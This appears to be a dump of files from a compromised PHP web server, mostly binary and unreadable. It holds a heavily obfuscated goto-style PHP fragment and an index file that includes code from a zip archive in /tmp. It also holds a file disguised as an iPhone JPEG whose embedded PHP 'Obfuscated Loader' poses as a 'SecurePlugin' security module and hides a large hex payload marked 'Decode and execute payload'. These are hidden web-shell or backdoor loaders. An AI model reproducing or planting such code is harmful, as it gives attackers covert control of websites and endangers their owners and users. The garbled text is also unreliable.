��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK �Um\�>wg g index-20260307170133.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "gos.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Um\} ���@ �@ 21dew.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
/* Legacy-Compatible Obfuscated Loader - ID:2366746 */
/*
Description: Enhanced security module
Version: 4.4.19
Plugin Name: SecurePluginllsQUfju55
*/
class LoaderlgGVyM29920 {
private function dcbvapKn13() {
$tmp = base64_decode('ZGF0YW95Y0lqVjEz');
return null;
}
private function gtwbAJnN24() {
// Gate piece 1
$jv3 = str_rot13('ebgbbBpa90');
return str_rot13('59xu');
}
public function pubyxBrq41() {
// Public method 1
if (87 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$tmp = str_rot13('ebgNjkYa54');
return 'valaiCL30';
}
private function gtBpFZGg19() {
// Gate piece 3
$tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('c2sz');
}
public static function init665() {
// Decode and execute payload
$hex_data = 'pYIOludjb47d5b7bda4897f50fca45241b12b8aca3ce822aa94a873b904002094302b104bffeab023b31b69cee9e99ef79a667de9e7ea316aada6bafb58ff471ecdbc014b073e6b01369fe345ae0be40a12c61408e1b281dc2fa8002589d32764a64b36f636a6cc9ae5ac7bcf0103b1d8af3e429aa0f113cf390a5ed9c5ea693f02236f3ed74457bf69c5923133e983f2c24e6d1030fa2a6481769b8cbc43e22fd6427797d8c1ebacb62037af50f1f9c1de1ceceddcf3835d74fd9c38238396bbb54881045c6c92375e9cd699f876cf48dc3d101031612080ebe0922420edf2cde3556c429d8d5076ef487e2720a3260b8b939a2f04cf0cc221797ed5d181f3de722119501768d5604d0499138a6188a3533e52e6f8fd26e691e3c562318914b548134368e0edd901536208551eed98fa6bf348d554ceb1f7945fc108db2a5107397e69ecb9c1dea49354759e551388d2df0752ee4778bcb09df553f0a6c62270a1e122ec82ca15f5cbecfd72c18c3cb288fc8d8cb9271b248c851fd7037e06d3063e3bd25f6807595c7e1e4d96793b564c7a794f6bd858c75547501e2532fe1ce01182485915b449b00f9a0f5382fe64830f57b83421a3274fbb6088171b0a4e0cb9d8923b369fd8a8bb4326afd9fc1a64016777c5c4d82243aeeb13ce0689b1716726673d287a809815d91d2bfb821693312c07619c0d177280ba4ee0b01f2fabc42544d2568f1353a1baba8dbf328a1bf08aaf6a1a091fdd4ada20bcb669d4c906108cc9dc28a1a3fa5811588e37a2d4ecfa8052eacb91f0bd78f1e8a9145a4b136c921ba1cdda8ce3c045c82a2c204b5bbb2a232485312ceaa50707e44a03202efd17d9ac172e69abdef54ce13d8358476d3405d647306db9300932a6f3a036eab4bca3a1e1b92c8877cc785bbb6aa9397464ee6b030a50d2fb264c41c8b22f25860f7212fd49faf22b20704328afa2271e0786137a1c1b672193dd4811589190655881ec6ad254b62c566222be2cd01935c2a53a15ce65b9171d3c5cb0b3bfb568ea09cd2e85c507ace361eac16a46ffaa8398e20ca2609247edcf4287dc82030e8de8e721663e0baa0e18c0364f705f3a2c937610468cd41e6ed7214c396b26e847094992e1c2d087c7d5e8ea28a49b00d84859d43cc4769bc298be8ec20b7730f1016732ea7468cfba7193e547fbe5f96d02e5b114a9f57bb6234db8169dad7e36843d637fba8be7b5510cdd2d3c80593557266f9ac6a53127718f27c653dd45edc9cbc326db9b36547284e21bf545f9d682f11929325311e63b2dfe24d96297bf2a8388e8535ad493c99464f2cb76c6158e7f647b8d9ef1d852f6ecc32461de258d7f378567692b14e5d0ab8ef5de12cb155ae3896cbbc71316dc44f58398046616d093742b199499bac660026109436ee84e73c9080d1ca2e092de79d3305ecb05fb09117d36aebc38315376e973f4dc4bc0ffd188a3902067037600fdb82858f466e3f95fe82b582f262c509d801c6be2c3820a1e465b9cd6b75aff60b51069cb69b909d80be7f6b49b6d1a30cec78df38dbea6bba0d7ad89a09ae4e6b111bb3e585a085d5da31e179b62970da3a8d7e5e21f33d6eab04564d8878ff2b8fa5596c4773bbcd3ab831fd9cf4d962979324c9ebfc52a5fafb89b8f433380d691f38b6d1970eaa2cf9d8f833d98942f43b568f0366e45cd987fa523914cd7ecf79b5b12ffb42d6b9cfba7d48a3608ecc69c49fd88a3ee668410c922804c0acd2df2f89eb2277c8c999d77515d149803b670339db2ec55e2e2ef985c0ba934f32483b36a7a00d93d80c3285bdb7f3a5be03eb90c69d44bc70d57dcee543e5ce4cb35cc9e9288570a5f04a7fbfabffa0dde428483f8e0141b17a1eae6a629f27276cf609bc9015490e3bd6743917c142e1699eefa837bf985e099b6cddf0bd278b84d6c2e5d0780eba29679dd8315819e44c947fcb71d47488e0718d09cce02387693c417346fcd7f3f0cfa567d5d98fb9383c85cc51fec8e0a0163e600652f6bbb49bfd7388ddfe8a0742627eee5cb271f616dcc7f656fae985ad31907e24c2343169b0d8911523ce7ccd1c33314efb58bde7ebef55fe23a2c6c11074dcb387e6286036019d4844e298c8800c9fe15444215a4048b9709e202f76411c606512ce8c76ace49383dd8e003d0794b6f039e344f9a38361f1fafa7e8293945e82c4c6a287b227b83b2de445cc325ab9521c8ad7efa7fd6f497b3083d32a7a043e6519c0dcdcb92c041aef1547d8c7164d436b8a95ff25909cfca856e7db36177dbe0b5207944d1cccc0c1bd0844aa83e736a63703b9c2538310a6ec17abf33032e5cf8593f3e9287ac88375d4f5ce66d28535cbc2849e67b5fcb962a2b19a2ee5a28090550542c0965dff94d64d568813cd6b857f46e9605e3c8470fc4d56ac93d2b8da5bdaed6350b941bacd0e5655653c36d308b1f5d20039ef29bde29f75fdbdb3a0858a7d0407d01aca1f49ed3f2abf3ea48970bb985453881a67c158aa7801492ef447048f81e21bd7fbcc934cddbfd086cccd973b815352ac1d9be6f36ed220f58e5cd0805dfdf9f4f7fbb15df5fbfb69fb8d1ab90697ba2048e473d630ce15df68f89ff380faf74e7e5872825fdfcfada616276e276856dbdbae49c0d146eaffc8243793ea08d9c3c4089ef47974d7f7d3f739df5401a927da7e4508a4b2df23838cb8eabeecd6b488a0f1c6bfe9fbfcfa7efa7cb7ee42e251e60b566260a41607bd7b9ecc145e657feef3f53cfed8afb13f272dfb622193d82cf0d4fb1d2d54b5b02de9e0fb5d7f6ff12334a99c57eafe914ee2ae0a016ab4fdada879d860d68f0491bb0fefa7f10537eb39ec77ca87091b1cd33062a690d52ce0c4cbe4a99617fe7cff7e2ff671368480d46748e35f58db86bb84b12cd358fab3be5dc04a3daf73026f63c4948f791207fafebdf9bdcdf757fb7db5374b084ae028c45178885bbe825bda27f164ee8256e301c635593b8865d69ffb7c7d9ebd3becaeefc78b4854d9530a2b7517dc3fe7118d4cbb71f716a65e844774d6b53b587518893e289f2846f1a1badd972bbe00ab1b65311dc501cb4b598d8dd46c46f06c3876f3c77fd0cb644acde612ca633867ee82b0bd031a3677cf06966db60a923657f6afcee3caaf28078aaf19d7efd745a6d1c1be0a6366e2a4e91a740e2ad8b889ba93dc46573ec4d2ddf8f4e7fe4d676edbe7f3f878b028bdda478c9be7602b153fcd7ac23bc50f1a70b33749607ca8bdf644c218b2e8a99d2bbe91a138b02cd0b3a5e21bd1fdef4d611de4b42e7739af535965ca7775e3dff7a5a787e241df17972a3c0da2edd4f72b53d22ad7fc8f28fdf134a3643d6b0fc10cb09de22a04b3518659b0855db8121ba51ca8398ecf592801f4785fbe3ccf892156ef9fd26401c60a523317b3a650784084b97f83f7adf2a38adfc9f67bc60f0a4f0d5f7dbf1a9e9b794a4c12e1e29b651dbf7bfdf4943c358056638b8a60a5ee0b088c50e61f9ed70450940470f610f24099d2f5fd468a77334b9010560426e969227b87713bc839527a06b81902b92d644b7275fe3684b824f7f64bebee1cc2baa05d674a7134fef6fd5e9e37fcfde8c453772924f88a7f755a037dbe17b2eddca8e9b16dd15f57fb6d4f3c7aeaca6453ad7d3ec913736ca792cfca345f816e9aa92ff687efdeec4d01f5d856c4d890863151c271955781f23b84e264dc2272c2f85ce4f4912e56f4e889b64c24cdc3c58e66565f92128e32ba699f7fe301e03b57f3a12a385b1c9a2826590a73acfe1089ecdc14550152dbc899d9d77ff08af9ce456949da7ab3a6974137fa16982fbf97d28dd38796a85b832a9e943cf602535746469f082b7f8e6a91ba7db602afcfe3631b697e75bed947d8c0407dffbda83855efbe1214ee668a8fffc1976a952a5744994b944f3f225ad230769368db7973c24ad8ef63c4cb7c91d025a8e46a051b6f454ebb188ea987142f79e4c115fffad24829dbe00df12c61da900b6663594be858ec91a3509efee033cc8a60cbd477297fbf1fab5ba4389532d2ceccdb57be511d159e02a5173ca030298dd8c86e4b12296d665950f197c2581a7ff05ef1fb95234e89e2a7e3981ed59d733fbedf077f09237b437df9448315e997362c906dfc891f78f14d6f658a1fd1aa995fe307c6418a7a14097583fc2dc8527064b80a3cc5af9e80398e6ef65bfbc103b9dcce1714f3adf4707fe5bbc1bc2a9e2cb34ba3be0815e979f6bbbeb48dd1593f0faa174a498bc3b3d1056c32f76d73affef969cd272310854af3fce1577f7eefe4448949355f20e078f6eb29e2dd64a7ecc320979e5a728a1939ad4bd24d14bfff96d9ac94dbd1da6107456115deb0639a3ff51ee5f0ea8f4a36faa6b441ead7cce784ef726522b31dcc0373a4bed63113601ff27ec469277e41739a400cb88d1dcb2722b7eff079329f8936f04830b15be04486d203dc7c5e90208a95de7ae3df1417ae383ad77564f759b4553616779e5b5539e54ab2558a989da5f3db1ff1fc95afd5cbf6ea7f93044eaa4818ed551f35ee6f7f14b7d3c8def6498a5cbf14fde6958fdff881029bbe58cf949e89cc1ec502006696b52f8c826079a1fd44f13aa565841b32d062f940364affeaef97dff86997b32a074c4167964c43d9435298fbf53a798b2f6d1d34ea7930d4cfdbe8e7c57f9e77fcf0bc3ad4cfcbf4f31857cf33d4f38c6e12f52552dc5dd9c8a95e1aa64d489e077dfd5b2f30d8ebe7fd8a79c7aca720b52f3cc89b53ca5ecfa3eeb9d2332ffce0f80b1847002a46b8c2171f4cadb4135d54579d652902d48310124940f3c2c7af7a8b20bfe9145353fea8073a7e604a63825dc3f45762f2cb923a24330eec577b7bc35f625e2cdef8b7dffaed050fb0adf47b7036569adf87662de6319bdaca3ee680e4a83efcca596f27ac1d59bc3bc34d1f50e5cbb9395ea48fe58e75cdddf7fbc3ffd409c21215e4543af5a8b1604b52e54bd43dfb1154938888deb0a831b12e9d7a18e1b8a2411ab3c612e5d27e321849097be5e37feecb2b7f56fe8d1c01ed9d156adb8dd2834a526415f88cef6e9a8ffc74db7b4266abd024d92a1a75d8ec24ed46583fcffd601f6f9ed7d20c22c8e486cd8adff8f2e7fd345efde193057f8d9f46bb97e719affe7704711c5c2074a4179f848c01f5495fd82c238a8fabf39d7a29ad5625ad6701701a2c8f2e6c64ba4883efbfe39329e860d4819408482a304f22a7517c1ce347262cd87db12e55ee9e73dbdf90af8807cfe4a9f9099ee057e5c3a1f3585ee3259c92e7a06e5366b85dbeab5633d83dda5591a0aef86e47c1091b79a48e855976192e80f4141f8a75bc8456a371beeb43d7ec15a3a926481adf501db8881d6a5b7d3f7dbe821c6768bb5f25b0f7d945b19e5ac8804b82953e4ace62e6e390119679b61134f7fc6f72445200da398ec6bf42fed6bfa612fa5432607353f9f3f4773ce2e57cfb35aa09c24c21d4ae9d2d93a2850fe6b6acab937a98a59f37ebc1d9052524b8341272eae3b3e207a0f6dedb878d8437ab4e05b9f1d37cf5400a611eb122544188af7cf71fe3614952d7fed3a9f5fbf25476c1f91a6f8f1cd38fc103b52851f21a3bb4972b0a5ff1f42e7e70d333377f4e3a23b13781396b430c9e982283fd2bdf9dc5f0b7fefd631fd0c0a01a01c0cdd3a2bd8f1f5cef5f37f1e9c5d943524642beeafdfbf8cbf579f8ee3e53d0b6bf000be142913929157fbe7461d43916b9741447e33debdddf7afa0dbfbac6638bc621330a9359131e2d5aa510389922b6674f044bdad33b3c7d63bf31de529946eabe9022faad3fdee0814f8e2740f680f5fdab3f7aa7dfa40d98a1e3612de3cdd0fb9157bef1e2dff6eafe25b0bada87e5e9f87317687fdeaafbec2bbe76817515dcc73bff3ccf8219c8b7071dcf7e731ebfcf77e3c171cad9b192cda197bb0aa5d05596d0d8587d6b60f0c839c322da82b5db8f3b651fea638024b4dacf9e77fdbd099b6cad646f206caca2aa936053854abf6dec56194a6f86691428fd162adf57c498672bc577aff1e7156c7f28fb9ddacd5e716e678fd971ebd4e392f3a08ca5b145db0e47e6340f5171f27843dd246fd863f589debfbd1fe8463f2d714c942dba3e33b64177b2d4c7bc7b9e028a938e03f8f6a99d31f0d9f3aef1f6a1df4b1f3ec3679e293d9d2597d6cf48cdfe7c3fe233fe121f22ee9e7e163fb8f1a117be7b8d172f2436bd35aef28c884fe239efde2f3a80a41a4da31e2abc220a9feb122811ee693dbdbbe96992d6ffe0df3885d5710d6433fd188f781f2fe1e3389ed80e73a3f825beb6789c84d2084681ac0560fb09843488da4fede33efef7ee3eabdf36802f77fc6ff0fbcd6276c4ed89b22718265110f8bcbee52b8499cf455f7dfafd149f14dd64942ad0c30fa1fd921fbc8f0fe9f783240760229060e8ce7e3f3c6f2c64158c52da7f63765807c640bcc926c9c7f328d2921e72975555ac3cacd5319702e3d9af5844bae9d412a1d20243e7c1ca740b900bda326eeafb78ecf5fd8e6616877fde8f17bff5d66b7ce8953f0393a5eafb95696ccce6ea795c9a764a3e7cbf2368338e2a4261aff014c8829aa5613d76063c1bcabf51ccba0a2afc33b1a9fe56e18b4c9b2c132374c7c7db51a03c631176fb5af94bc8cc36901ff4ea0bdfed1c1f4713a5b7a8bacf66a2f41b2d45b7e4e258636648a51798f26f412895bd81691d57bff329f77ce8228354d906a8044a94dec734d4f1b5d2b2a6feeaad9ed9bdc477c5c99bd70db5cd314d9b72e6d4958e4724b41f7db7e4cbef257ff03e6a4f185f1a1e3dd6ee6fbea6eff34bbe6cd56799c5f63b449599742247d0ddb94cd28465dfd5437bbeabea25ce1ef97954278c11a5075bff913fae58b1c167f3e4a3eef09a6f4c0c9607c26065cc32e761dfcf0898112e4e76352e196023d936660c2555f786f24ea448f97356e7fb597dfab1048760d6b5120010230676fe45cc5383878883ac34cc3d14fb6fa0162bc8a0ce1f6d56b801593d517a9fb9494d2c7051b4240a8e16973fd8e39bf806dbc398740b6f03729654739f42dfe575153d040139672bd893e7b09bc8bb7ce8ed3e03709ef42e0d178a4f12cbce329fc102d60542f8b8f6cfc69c257558c2227399d3224e0366b401338b8907f712dff367db660a14aef95fc78b362588ba91c683dd95ffe163e95f42748de7d8a66268237f66678fb3ade6578d4dcea7dd0ad706ed6b9344a4283b3653a670c7d7eee21b0460ff42b5de27811865a87346be385aa81b290a7bcb87be89bfd0d4903eebb31025a7af50b811b4bb926daba505cc108ba91d56860b2f819bb4a322600122db26f413a362fd2998d7e001c09aa75db04981fbd385a3c3e2e2f4feb6aa85954f643749e7557e5cdfc523fee07dd0e65e08f63f216c359f9c78e77d6435261455d6278dc2bfbea03103334a149f8c8a7354e72b7b4bc5dff4d1effcd145c737e86e4d0e4456d934954d8beb6b7c57f3f1c7391491f3688e83345cc451a084b61bceaa6266374193efa65ef9341a91f470b4b70d0f1ef65570cebeb891e112635f50633455fe7cc29e3ec353fa92cf7bff7e2d0f8dd39ffcd12d1f1021759e961c75f072740911000187115419f8537d493fe143cdb36bec178a6f3fe5ed6804cf26b13941941da1e23d95ddee571fe2611ffcefe40c45eba4ca8cc135de3951d2626446e6c4b06ff1f139ef4654d9efb3ceaf0ef8b74ffd91259badcfdb34ad7a83a4d5c882852360a9ee5f45d19934f68d1ffcb3fe55fc1e5547979aedf78cf19491bd95d26363c5471a77e007e99ac4c2ce2fcbd6f1d33c8bf128cfac8ff7effdfba1baebb3b84e259ceca2963ce1aaa34a6202d20589f2b52636a07abf934f6cb1f6f8780560f1a8f8155fecc8489a6ced3607ee2adb86e20800d4313b300fd914c87af43deadc9f3310b48b78ffe4e1ea515887bb7cf2e07958a732a847df6c13c47033ca003baafb22c1ba1ef5bafe05e243022ed94ed9cdf77937896749f6d97db93eeff3fcd60d0feef233eff90638e89a0a0b77bdce0f0689799cbb7d9b3bcde978ad7ff924fef2fe79f1567918ccbe7bbce65c8eed48dd756fc36d4cc1dcd1bf17141916461819e3dff5577f795eacf8ae4c2281e6557bbd7f316d15bf06b934aff502ec1d1e3c6742f117222f16cf7b0b1bb3a8263c362a44d0beb9e9cb2a8fce2257fc257daf17d6bc890b79f83cfff6e6fd4ad2d7837cf20fbfc241ddb09219b50ee6a46cb4762030167fd7831fe25754e1b3e2bbbe6c83e76bbc134d6abba6903007406628ff36dda8fb3721e053bef6e779aff1fb07c25feb0f06f5c79bdf6bf389470dbab090d3faf4b4c48f9de27f95edc77d46d8c957fec877ce86327be53f6ef9b77ff5fd3ee5e3b7f85afad9fbcdad8f7ccddabde467de3c6f005f667e0b9d35153f819250b099d274e03edfc5ef6ffa83a73198fb7cc4d90638a0068587a59d37a385f29759008feaf2010bd401457d799875212224bcafb7b83e2f3b60338cf139e376ef10b75664a32f3d0f185eb819e58911e09959a042e9198b56ca9fef5d5499d38cf5cba49b7c4ba830e4eee05be284affe5cf176681629b7d9ca7acad150bcee4d7de20e03a55d79715ea23c4d985109e6f6b15523eb96ef4e8972468aaf85e0cc0fcade7026c43d7fbef937edcf5ff060ead88a1fa83b60a5c6e0ef858aee2cc1e510293ce50eefffd473bdd75bb42b511ddee38190bde27feb9488dff1f637e7abce63ec2b0dfec3eec27cf540c38238d6bc6f8b79ddedd4f91268141ee4e0870b460e3d37df63cacce89ce158084059437114d6849eece88a573cb8ff7e7feedf67f1175be97d2b2a5625cc888ed7a5153360dba4787b9ac9ad413c1dbcef9c99f22ee5da225d62143fddf6c066d038c5b45036a5f0eacaef4f2ce9a697dff15d5eff5a727a288c937fd5475bd38b2e6cadf4fe2e8c3a6386a72b0f81223195ddd16e8dd54d8ac95febb92e1e9e74ce8e3c2383af702cc334cd1e7eff5e60acf35df343f17b33a0d05b89c9048b238275b0c7ecf4bc20079d9f79636f6412a2e6d1ab2633d76a9438a57eb465748ec312430a74014fbe2dfcb41dcd4261962ffa1cea7a3dd07767c84270ad67edffaab79205394d312408f7200971ed0939f167edb80cc55169a1bd056bb60655f7c3e7c11f3e7e91b57aeeaf65427fc95d5bcf449e400cb3682b7dbf92129020b24195b867e94922e88cb72004a2b6a4e2183da09a4fbead1f8acec7550a58aaf36f4904f6643b99828b93135c654acf84ca7f8cbc8d6182dee9a9247846fb27171e1b605690e303e5745a297d7e2aa2205b5b472f46231ddf9d90ba73e8a668e3647a8c63fdfd46f9f242724ec78b189303aa463fcb5df50c77a727fbcc52ef091cdcb7feb7bbe57f43306acb08747372bcfab7509436dc9eb2d4ce1e88712a684f9c2bdf7dea53c5b5bf425b3e123449bde4f83847d553fc21fe52624bd4b3a8513f8e0771f4041f6680600b885fe0ec767e139c9d981d60a7f973d694563bb5cf9debd8e0e46cda2092fce72d7eff074f6973c05e6778f6c6a8943eb284cd7f88182c9dce4c3917965d19998b9845da60aece379f1bc71d56f29af5a310d5e35dc8c24456d488a9686073574fa3f4b4f247ddc94da2ca763bb3bcf20d7cfc8a3be3394bfaf01a0fc36c6a53e1812af467e2773dc8f5fde24be72a093f51b796a3b368a26af2ca5f8c193001629d8594bd059b6eb19457beb1c6efe2d9b9c667761ce54dd759d1c48de3fd6b3d438d6848f0e590c99863a5811962d9c856d6e96d46bedcf5e1acad65483ac9994b6352075e5dfd74c82156b2786a71708628cb6465e6bc9bd0c8aa7ad038abfbf86e41312f0a4be13583655a9253e0744ecba1f12d40ced7f0025c7c21f2ca774de3abdd5ff938993590a4bba60c95e68e9ef6f91a56631c4d4fde967c092ec544f1da51f1a0be5ea5f8e4c35dbef1b06c0e5f64c52ea26dc6d1e321b1e200a14e000bab8bd9e6eaefa5afb8c2ca6563a5a3826bbcee4e2f30e7570c294135bb10d6fcf0ab5322aa919f9a648a77d0b9eac14b90d26d7041b2f84ccfcca421b29971329daadf0bdea240972ef49d9931331640f9e4be42f646cc5258625239d8de14076476a9c29732890ffebc322506a51b99f7fee8eff176651f5183103bce2d34ae1356a51ea2596c139d30cf38130aef699e6366b33623a5e27fcafffe04060c5817b8a81e3df9c6214d6153a534db805d251370d4a974d742f5805ee89d1819a9ff4014ffcbac50926c562b5f6e424aab46391e77e78369a1f07e94d07da39ee7a49058184ec224ce2adc06eaf74a9e288cf6f82943c9c7fc42c99a136801c271e5dac0d8fa7dbb4c007bb298ec036b6245cc2591d1631455bb6b7d761cb2f429b7153e97ca9f5b91512b01266c5643ab846331affae780ddc7c36edfafdba24de6c8aa9a809a316d1f710b2388cd95ac46b340075f7a3003ddde53a221539f53fdf4533eefa6bafe0f6036f2d59fdfcef8384d783355df63c36a997ee46bac4c3173dc5eee50e77848fba35db692e67e81fa51b6368e3fa02c53f5cf140c1d9ffc6e5c265bf1c0486758161484f438123adf4d6b0eb5fe90698a4716ed5a48e460bde311c9bd676dab42f1f15f992c22d25566d42a577d26ab2b5feb2a686d9a5128aff5c0c3f7998e4828e59373f5976dc68c6006d97e6b57e32517d77e9247b0c94219ef53588fb08d9d15d4f12b5d9fd8beadf7b9bd9fcd6bcfa275125640f1ae9627a298287df9ecd5ada25bc12f41f31e6e0c1483c6a3a49bdb56d6aa7b1a810826d1b6fe18dfb8c54ff319ac52cb3806ca9fcf10ec7fe5ac567835f153c537d88e06ecb378b61244577fb4693c27a129a9c137b7cd7d5d9f83cc0a0185031c5feb9f735dff2c60d5824d178a46d95445421a4d7e80de5d116ca616122b17482f32f860fc5989ba0ffa83d665ef9e1b945623848d9eb3874c40e58dd1a5cbaf7a46f491e207ba1e2ecb77c13a350a7f561f3357f167403b1b55d300c0ea570872fb9e0f5dfd91c2f32cc066cf7044d324de7b6ed30b540b854bc4bde27debcc9039e57336deff7e1e9f3c0755982662df25ea3cecb3b192acf361ada869146c81b957f676b8d64bb9e478578ff452ff2c9c6a54a35a09dbaa5a8028bbdcea27477d9a14eabe28e3152455df4fb85bf1cb36a0c08f556e6331f3ba10ccead7fac4cff5e067f919cdafdc36cc713ccd844dcba2e92f1854560c890837809056cc5dc5f39cca69186c12587521adabbddb1ca4f21f953adfaf6823428be9d20b875254d6c8a04bf0c841124f820550fea3231654fed2353ecba7e4872c9248d4dade68afc00825ea1d78273c6265676cc015c4412e2ec076442f090c228bb0d2bd049834c57c26ebc465fb2996e5005efd899f2abde059e8a8f5518c2f65c2d868a9e31bba3e165546ea9e0d53e1fd6a0e95c2e2f7fce0bdbe7cc78780e243a318b17c0124c6c054f7c290baff23d1f10dd81601506497560ee94600f7d53e63bc54bee42c68a0c8090da21a381434e95fe3111b07a566355b43733503e200ac4c2abd4a22da3e94e6c87acfc7dfdbaf8d27640ee41a03a0ee8b912860d1f6bb0fc42956b8bdc76da7f0345b632e357fb695bebc2414f6f86c287b6321ef08c451d3e2deb5151f5a25b1811c60a6c3f6fb525fdc142e02fbedfbfe80f7efc7d3635e6c2be089de07c0b00053772e024a7a9cac929e4aa7af6a481d824561011e3c79cd41f10d76d1f606ce4d11c31c03261c857f0634dc04d2b7f5021fe28945089b6fc038ee09804122db9af0ba54f8f764c9498751032c2e10e84c8223c5370c27b5b61a0f3acf634a378089a578689aa587bfe6bbcb7ef24d4af215588a1030001014df6ffd65c781fcfeedfde2cbdbfae2fb78ec5fe24d194ff94528bc5a009a902e53c6c814b082993403f3964f3e3e633922f8e1a5defb433c8758942bdfdc1dcf983b5ef4141e949ec9747d2ca81ce5b76b9cd742d767c3929ab9f66f4a8b03ac7058e3a957299dd2557d64aafb6c556b055616e23a5e5c3ec76c203efe2e5fabeb27eff9e97e6d35a5b1b283dca90fc10a350fa1e876ca998aa89e2cf8b57efce67f2d12a877288af7f50caccfa9c3321f73656ffc902a7eff2d6d1b85577990c282233856f85cec21ed67e8918722169e63f42e80c4b7042bfd0b738439bdab97e7bd5320983db9d114289eb88beafa18f503f9858a1e4a38fa817138092f64e446fbcee2ce7661bbde821559b9b9c6132956df1670e5cf5910b17a7fcdbf8548842cdeab7f0620da4cbee35e2c07ea418eb432dae231304972fa8137863d7f624a2f8c1e1cd97e5f1b7b59b06094c26a72cdbf759d8f9bee3083235dcff0ddef4e3f0a76fcb534c0477f64f57b5b1146cfcaaa201617e594048dc2cbca381c605f3ff8d77a01e12b5d515a56a6e3ed08e250e141eb2b3dbd8480cd303bac16cd47bc0fb745e55d34a79f56792c16e5aea06e5d5d743f0e37e92249880de558c7d7f2e8c22c9def818a0bc7eaa1ce469d4c9bcd423e12a945dfd9dbe1293f67cb95ddcdfc7aff25df641b2faebefb3573e64f452a1ff6b9dd679edf994aa7a93b5b13e95f5c4ff1352be06dacece308c57ec6c9e9a35ee88d4919ed37ce25a8bd9eadfc8783e2d7871f051fb50b4a6c2ed81954c14af1125fddabd95cd272de4f6a6856bee28cea7ce9ce0514b26ef24df9b787bbf83d3f7d7beda7fb845fd58138e473b6af947fd37ac1579ae897a33e07354c9d6f1cc717a3906c8f140e26e8ac702f69e290bb5d09d988182785f7933ffca5068fb81f2b3c6d9eec7a349a37659c986dad780c9455660ad97c8d2e1d4d1973785785641398c83c20f018b037f5e33f946f346274addfc5ae71285d111e8387e647808347d61db73e904434864b947191dffd3315b330db61237f4267c82dab7fd16f85f247e4dabf65d581091ffb9f60e3d8ce4eb90ee8ac68ddedc35826695d5f72587f8dbaae5de82f7e0e1e1cd844fe83fb3083f25476a1aff47b39db06fbf945b1ec38982b7f59047cdcbea95f7b39dfc35288c3c416af7a5f20d271c2edd32452341b6ecae2637e4bcc1911d47de27ed89ccc188e6a581dd56fec776e77d2f1dd4e9d4d066325115867f3fe5a6fb613aff557a8f77d063d00aef9eeb17f71ccdbfd2385e22fdf94aee5419765980ef4d38110c7e78ed3f35ee155b38e373a1e96cde6f81abf9ff1e1fa12dd479961c54f9dea64a595f8a6f5600c74fc0a62d0358ed21f0daec5bd3ffa7b7e415dbda3e1d7f5570e4c03428507670368bdcabb3dd5f12bc561d3d996fa32ae5efab1038cd89e3967e9a5427a2ffe48ddec8611f0a6fedeb8af2fb19a0ed25834d7f869cd59d48de68e8edff3c2b2a